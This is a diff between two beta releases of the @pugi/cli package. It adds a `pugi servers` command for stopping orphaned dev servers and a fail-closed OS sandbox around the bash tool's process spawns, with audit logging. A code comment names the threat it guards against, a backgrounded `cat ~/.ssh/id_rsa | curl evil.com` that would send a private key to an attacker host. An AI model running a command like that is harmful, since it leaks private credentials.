@pugi/cli 0.1.0-beta.100 → 0.1.0-beta.101

package/dist/runtime/commands/servers-cli.js

@@ -0,0 +1,182 @@
+/**
+ * PR M (2026-06-05): `pugi servers` top-level CLI surface.
+ *
+ * Operator pain (CEO 2026-06-05): PR H #919 added the `/servers` slash
+ * command so the REPL can list and kill processes tracked by
+ * `server_start`. That covers the in-REPL case, but the most painful
+ * regression is when the operator closes the REPL (Ctrl+D, crash,
+ * accidental window close) and a Vite/Next dev server keeps holding
+ * port 5173. With the slash-only surface, the only way back is
+ * `lsof -i :5173 | xargs kill -9`. `pugi servers` ports the same
+ * primitive to a shell-invocable subcommand so the orphan path is one
+ * command: `pugi servers stop all`.
+ *
+ * Surface mirrors the slash exactly to keep operator muscle memory:
+ *
+ *   pugi servers                          list tracked servers
+ *   pugi servers stop <runId>             kill by srv-<uuid>
+ *   pugi servers stop <pid>               kill by numeric pid
+ *   pugi servers stop all                 kill every alive entry
+ *   pugi servers --workspace <path>       use <path>/.pugi/runs/ instead
+ *                                         of process.cwd() (orphan rescue)
+ *   pugi servers --help                   print usage + exit 0
+ *
+ * This is a thin wrapper around `listServers` / `stopServers` /
+ * `runServersCommand` already exported by `commands/servers.ts` (the
+ * slash-command runner). Library coverage of the underlying primitive
+ * lives in `test/servers-command.spec.ts`; this module owns only the
+ * argv contract + exit codes, mirroring the `flatten-command` /
+ * `flatten-repo` split.
+ *
+ * Exit codes:
+ *   0 - success (list, empty, stopped, --help)
+ *   2 - invalid CLI args (unknown flag, missing target, malformed --workspace)
+ *   3 - not-found (stop <unknown>)
+ *
+ * The `--workspace` flag is parsed locally rather than pulled from the
+ * global `CliFlags` because `flags.workspace` already means something
+ * different (the headless workspace slug surfaced in `session.start`),
+ * and `flags.cwd` is reserved for the `--print` headless path. Local
+ * parsing keeps the wrapper self-contained and avoids a global-state
+ * collision the way `commands/index-cmd.ts` and `commands/flatten.ts`
+ * already do.
+ */
+import { resolve } from 'node:path';
+import { runServersCommand, } from './servers.js';
+/**
+ * Single entry-point. Returns the desired process exit code so the
+ * dispatcher in `runtime/cli.ts` can propagate it via
+ * `process.exitCode`. Mirrors the `runIndexCommand` / `runFlattenCommand`
+ * shape.
+ */
+export async function runServersCliCommand(args, ctx) {
+    const parsed = parseArgs(args);
+    switch (parsed.kind) {
+        case 'help':
+            return printHelp(ctx);
+        case 'error':
+            ctx.writeOutput({ ok: false, command: 'servers', error: parsed.message }, `pugi servers: ${parsed.message}`);
+            return 2;
+        case 'list':
+        case 'stop': {
+            const workspaceRoot = parsed.workspaceOverride !== null
+                ? resolve(parsed.workspaceOverride)
+                : ctx.workspaceRoot;
+            const lines = [];
+            const io = {
+                write: (line) => lines.push(line),
+            };
+            const mode = parsed.kind === 'list'
+                ? { kind: 'list' }
+                : { kind: 'stop', target: parsed.target };
+            const result = await runServersCommand(mode, io, { workspaceRoot });
+            const text = lines.join('\n');
+            ctx.writeOutput({
+                ok: result.kind !== 'not-found' && result.kind !== 'error',
+                command: 'servers',
+                mode: parsed.kind,
+                result,
+            }, text);
+            if (result.kind === 'not-found')
+                return 3;
+            if (result.kind === 'error')
+                return 1;
+            return 0;
+        }
+    }
+}
+/**
+ * Pure argv parser. Exported for the spec to pin canonical shapes.
+ *
+ * Accepted shapes:
+ *   []                                          list
+ *   ['--help'] | ['-h'] | ['help']              help
+ *   ['--workspace', '/path']                    list, workspace override
+ *   ['--workspace=/path']                       same, fused
+ *   ['stop', '<target>']                        stop
+ *   ['stop', '<target>', '--workspace', '<p>']  stop with override
+ *
+ * Unknown flag or `stop` with no target is a structural error (exit 2).
+ */
+export function parseArgs(args) {
+    let workspaceOverride = null;
+    const positional = [];
+    for (let i = 0; i < args.length; i += 1) {
+        const arg = args[i];
+        if (arg === undefined)
+            continue;
+        if (arg === '--help' || arg === '-h' || arg === 'help') {
+            return { kind: 'help' };
+        }
+        if (arg === '--workspace') {
+            const next = args[i + 1];
+            if (next === undefined || next.startsWith('-')) {
+                return { kind: 'error', message: '--workspace requires a path argument.' };
+            }
+            workspaceOverride = next;
+            i += 1;
+            continue;
+        }
+        if (arg.startsWith('--workspace=')) {
+            const value = arg.slice('--workspace='.length);
+            if (value.length === 0) {
+                return { kind: 'error', message: '--workspace requires a non-empty path.' };
+            }
+            workspaceOverride = value;
+            continue;
+        }
+        if (arg.startsWith('-')) {
+            return { kind: 'error', message: `unknown flag "${arg}"` };
+        }
+        positional.push(arg);
+    }
+    if (positional.length === 0) {
+        return { kind: 'list', workspaceOverride };
+    }
+    const [head, ...rest] = positional;
+    if (head === 'stop') {
+        if (rest.length === 0) {
+            return {
+                kind: 'error',
+                message: 'stop requires a target (runId, pid, or "all").',
+            };
+        }
+        if (rest.length > 1) {
+            return {
+                kind: 'error',
+                message: `stop accepts one target; got ${rest.length}.`,
+            };
+        }
+        return { kind: 'stop', target: rest[0], workspaceOverride };
+    }
+    return {
+        kind: 'error',
+        message: `unknown subcommand "${head}". Allowed: stop, --help.`,
+    };
+}
+function printHelp(ctx) {
+    ctx.writeOutput({ ok: true, command: 'servers', sub: 'help' }, [
+        'pugi servers - list and stop dev servers tracked by server_start.',
+        '',
+        'Usage:',
+        '  pugi servers                          List tracked servers (.pugi/runs/srv-*).',
+        '  pugi servers stop <runId>             Kill one by srv-<uuid> runId.',
+        '  pugi servers stop <pid>               Kill one by numeric pid.',
+        '  pugi servers stop all                 Kill every alive tracked server.',
+        '',
+        'Options:',
+        '  --workspace <path>                    Use <path>/.pugi/runs/ instead of cwd.',
+        '                                        Handy when a server was orphaned in',
+        '                                        another repo and the REPL is gone.',
+        '  --help, -h                            Print this message and exit 0.',
+        '',
+        'Exit codes:',
+        '  0  success (list, empty, stopped)',
+        '  2  usage error (unknown flag, missing target)',
+        '  3  not-found (stop target did not match any tracked server)',
+        '',
+        'Mirrors the in-REPL `/servers` slash command (PR H, beta.100+).',
+    ].join('\n'));
+    return 0;
+}
+//# sourceMappingURL=servers-cli.js.map

package/dist/runtime/version.js

@@ -44,7 +44,7 @@ export function sanitizeSemver(raw) {
  * during import). When bumping the CLI version BOTH literals must be
  * updated; the release smoke-test (`pack:smoke`) verifies they agree.
  */
-export const PUGI_CLI_VERSION = sanitizeSemver('0.1.0-beta.100');
+export const PUGI_CLI_VERSION = sanitizeSemver('0.1.0-beta.101');
 /**
  * Outbound: the CLI's installed semver. Read at request time by
  * `version-interceptor.ts` and injected on every `fetch` call.

package/dist/tools/bash.js

@@ -35,6 +35,7 @@ import { classifyBash } from '../core/bash-classifier.js';
 import { applyRedirect, finaliseRedirectFile, normalizeTailLines, openRedirectFile, resolveRedirectTarget, } from '../core/bash/redirect.js';
 import { evaluateBashPermission } from '../core/permission.js';
 import { writeAuditEvent } from '../core/audit/audit-trail.js';
+import { isSandboxDisabled, makeAdapter, SANDBOX_DISABLE_ENV, } from '../core/sandboxing/index.js';
 import { getJobRegistry, } from '../core/jobs/registry.js';
 import { recordToolCall, recordToolResult } from '../core/session.js';
 export const BASH_OUTPUT_CAP_BYTES = 32 * 1024;
@@ -206,7 +207,33 @@ export async function bashTool(input, ctx) {
     const stdioLayout = redirectState !== null
         ? ['ignore', redirectState.fd, redirectState.fd]
         : ['ignore', 'pipe', 'pipe'];
-    const child = spawn('/bin/sh', ['-c', cmd], {
+    // Phase 1 #302 — OS sandbox wrap. The resolver returns one of
+    // three shapes; `blocked` short-circuits via the same envelope as
+    // a permission denial so the model sees a structured refusal +
+    // the operator sees install hints in stderr. Passthrough returns
+    // the legacy `/bin/sh -c <cmd>` argv unchanged so existing flows
+    // (mode=`none`, `PUGI_SANDBOX_DISABLE=1`) are byte-identical.
+    const sandboxResolution = resolveBashSandbox(cmd, ctx);
+    if (sandboxResolution.kind === 'blocked') {
+        const reason = renderSandboxBlockMessage(sandboxResolution);
+        recordToolResult(ctx.session, toolCallId, 'error', reason);
+        if (redirectState !== null) {
+            try {
+                closeSync(redirectState.fd);
+            }
+            catch { /* already closed */ }
+        }
+        return {
+            stdout: '',
+            stderr: reason,
+            exitCode: 126,
+            nextCwd: ctx.lastBashCwd ?? ctx.root,
+            truncated: false,
+            timedOut: false,
+            cancelled: false,
+        };
+    }
+    const child = spawn(sandboxResolution.argv[0], sandboxResolution.argv.slice(1), {
         cwd: startCwd,
         env: childEnv,
         stdio: stdioLayout,
@@ -493,6 +520,122 @@ function sanitizeTimeout(value) {
     // cannot wedge the engine loop.
     return Math.min(value, 15 * 60 * 1000);
 }
+function resolveBashSandbox(cmd, ctx) {
+    const baseArgv = ['/bin/sh', '-c', cmd];
+    // Operator break-glass — log the disable to the audit trail so SOC
+    // sees a structured record, then degrade to passthrough.
+    if (isSandboxDisabled(process.env)) {
+        writeAuditEvent({
+            event: 'sandbox_block',
+            sessionId: ctx.session.id,
+            workspaceRoot: ctx.root,
+            data: {
+                tool: 'bash',
+                outcome: 'disabled_by_env',
+                env: SANDBOX_DISABLE_ENV,
+                cmdPreview: cmd.slice(0, 200),
+            },
+        });
+        return {
+            kind: 'passthrough',
+            argv: baseArgv,
+            description: `sandbox: disabled via ${SANDBOX_DISABLE_ENV}=1`,
+            reason: 'env_disabled',
+        };
+    }
+    const configured = (ctx.settings.bash?.sandbox ?? 'none');
+    if (configured === 'none') {
+        return {
+            kind: 'passthrough',
+            argv: baseArgv,
+            description: 'sandbox: none (passthrough)',
+            reason: 'mode_none',
+        };
+    }
+    const sandboxOpts = buildSandboxOpts(ctx);
+    try {
+        const adapter = makeAdapter(configured);
+        const probed = adapter.probe(sandboxOpts);
+        if (!probed.armed) {
+            // Fail-closed: the operator configured a sandbox but the host
+            // can't honour it. Refusing the spawn is the security promise.
+            writeAuditEvent({
+                event: 'sandbox_block',
+                sessionId: ctx.session.id,
+                workspaceRoot: ctx.root,
+                data: {
+                    tool: 'bash',
+                    outcome: 'unavailable',
+                    mode: configured,
+                    reason: probed.reason ?? 'unknown',
+                    details: probed.details,
+                    cmdPreview: cmd.slice(0, 200),
+                },
+            });
+            return {
+                kind: 'blocked',
+                mode: configured,
+                reason: probed.reason ?? `sandbox ${configured} not armed`,
+                ...(probed.installHint ? { installHint: probed.installHint } : {}),
+            };
+        }
+        const wrapped = adapter.wrap({ command: '/bin/sh', args: ['-c', cmd] }, sandboxOpts);
+        return {
+            kind: 'wrapped',
+            argv: [wrapped.command, ...wrapped.args],
+            description: wrapped.description,
+            mode: configured,
+            posture: sandboxOpts.posture ?? 'strict',
+        };
+    }
+    catch (err) {
+        // `makeAdapter` throws for unknown / docker; treat as block.
+        const reason = err.message;
+        writeAuditEvent({
+            event: 'sandbox_block',
+            sessionId: ctx.session.id,
+            workspaceRoot: ctx.root,
+            data: {
+                tool: 'bash',
+                outcome: 'adapter_error',
+                mode: configured,
+                reason,
+                cmdPreview: cmd.slice(0, 200),
+            },
+        });
+        return { kind: 'blocked', mode: configured, reason };
+    }
+}
+function buildSandboxOpts(ctx) {
+    const sandboxCfg = ctx.settings.sandbox;
+    const extraWritePaths = [
+        join(homedir(), '.pugi'),
+        '/tmp',
+    ];
+    const opts = {
+        workspaceRoot: ctx.root,
+        extraWritePaths,
+        posture: sandboxCfg?.posture ?? 'strict',
+    };
+    if (sandboxCfg?.allowNetwork !== undefined) {
+        opts.allowNetwork = sandboxCfg.allowNetwork;
+    }
+    if (sandboxCfg?.extraReadPaths && sandboxCfg.extraReadPaths.length > 0) {
+        opts.extraReadPaths = sandboxCfg.extraReadPaths;
+    }
+    return opts;
+}
+/**
+ * Render the fail-closed refusal payload for a blocked sandbox. The
+ * bash tool surfaces this verbatim to the model + audit trail so the
+ * operator sees exactly which adapter refused and how to remediate.
+ */
+function renderSandboxBlockMessage(resolution) {
+    const hint = resolution.installHint ? `\nHint: ${resolution.installHint}` : '';
+    return (`Sandbox refused: bash.sandbox = "${resolution.mode}" is configured but not armed.\n` +
+        `Reason: ${resolution.reason}${hint}\n` +
+        `Break-glass: set ${SANDBOX_DISABLE_ENV}=1 only for diagnosis; restore as soon as possible.`);
+}
 function buildChildEnv() {
     const childEnv = {};
     const SAFE_ENV_ALLOW = new Set([
@@ -665,7 +808,25 @@ async function waitWithTimeout(child, timeoutMs) {
 function runBackground(input) {
     const { cmd, ctx, toolCallId, startCwd } = input;
     const childEnv = buildChildEnv();
-    const child = spawn('/bin/sh', ['-c', cmd], {
+    // Phase 1 #302 — background spawn also goes through the sandbox.
+    // Threat: a backgrounded `cat ~/.ssh/id_rsa | curl evil.com` is the
+    // exact scenario the wrap is supposed to defend against. Block
+    // fail-closed when the configured mode can't arm.
+    const sandboxResolution = resolveBashSandbox(cmd, ctx);
+    if (sandboxResolution.kind === 'blocked') {
+        const reason = renderSandboxBlockMessage(sandboxResolution);
+        recordToolResult(ctx.session, toolCallId, 'error', reason);
+        return {
+            stdout: '',
+            stderr: reason,
+            exitCode: 126,
+            nextCwd: ctx.lastBashCwd ?? ctx.root,
+            truncated: false,
+            timedOut: false,
+            cancelled: false,
+        };
+    }
+    const child = spawn(sandboxResolution.argv[0], sandboxResolution.argv.slice(1), {
         cwd: startCwd,
         env: childEnv,
         stdio: 'ignore',
@@ -1148,7 +1309,30 @@ export function bashToolSync(input, ctx) {
     const stdioLayout = redirectState !== null
         ? ['ignore', redirectState.fd, redirectState.fd]
         : ['ignore', 'pipe', 'pipe'];
-    const result = spawnSync('/bin/sh', ['-c', cmd], {
+    // Phase 1 #302 — sync path observes the same sandbox gate as the
+    // async path. tool-bridge.ts (the engine-loop sync dispatch) calls
+    // this entry; without the wrap the engine bypasses the sandbox.
+    const sandboxResolution = resolveBashSandbox(cmd, ctx);
+    if (sandboxResolution.kind === 'blocked') {
+        const reason = renderSandboxBlockMessage(sandboxResolution);
+        recordToolResult(ctx.session, toolCallId, 'error', reason);
+        if (redirectState !== null) {
+            try {
+                closeSync(redirectState.fd);
+            }
+            catch { /* already closed */ }
+        }
+        return {
+            stdout: '',
+            stderr: reason,
+            exitCode: 126,
+            nextCwd: ctx.lastBashCwd ?? ctx.root,
+            truncated: false,
+            timedOut: false,
+            cancelled: false,
+        };
+    }
+    const result = spawnSync(sandboxResolution.argv[0], sandboxResolution.argv.slice(1), {
         cwd: startCwd,
         env: childEnv,
         encoding: 'utf8',

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@pugi/cli",
-  "version": "0.1.0-beta.100",
+  "version": "0.1.0-beta.101",
   "description": "Pugi CLI - terminal-native software execution system",
   "homepage": "https://pugi.io",
   "repository": {
@@ -28,6 +28,7 @@
   "files": [
     "bin/run.js",
     "dist/**/*.js",
+    "dist/**/*.scm",
     "assets/**/*.ansi",
     "docs/examples/**/*.json",
     "test/scenarios/**/*.scenario.txt",
@@ -58,12 +59,18 @@
     "tar": "^7.5.11",
     "terminal-image": "^4.3.0",
     "tinyglobby": "^0.2.16",
+    "tree-sitter": "0.22.4",
+    "tree-sitter-go": "^0.23.4",
+    "tree-sitter-javascript": "^0.23.1",
+    "tree-sitter-python": "^0.23.6",
+    "tree-sitter-rust": "^0.24.0",
+    "tree-sitter-typescript": "^0.23.2",
     "turndown": "^7.2.4",
     "undici": "^8.3.0",
     "which": "^6.0.0",
     "zod": "^3.23.0",
     "@pugi/personas": "0.1.2",
-    "@pugi/sdk": "0.1.0-beta.100"
+    "@pugi/sdk": "0.1.0-beta.101"
   },
   "devDependencies": {
     "@types/node": "^22.0.0",
@@ -78,7 +85,7 @@
     "typescript": "~5.6.0"
   },
   "scripts": {
-    "build": "pnpm --filter @pugi/personas --filter @pugi/sdk build && tsc -p tsconfig.json && node scripts/make-bin-executable.mjs",
+    "build": "pnpm --filter @pugi/personas --filter @pugi/sdk build && tsc -p tsconfig.json && node scripts/copy-queries.mjs && node scripts/make-bin-executable.mjs",
     "dev": "tsx src/index.ts",
     "typecheck": "pnpm --filter @pugi/personas --filter @pugi/sdk build && tsc -p tsconfig.json --noEmit",
     "test": "pnpm run check:version-lockstep && pnpm run build && node --test --import tsx 'test/**/*.spec.ts' 'test/**/*.spec.tsx' 'src/**/*.spec.ts' 'src/**/*.spec.tsx'",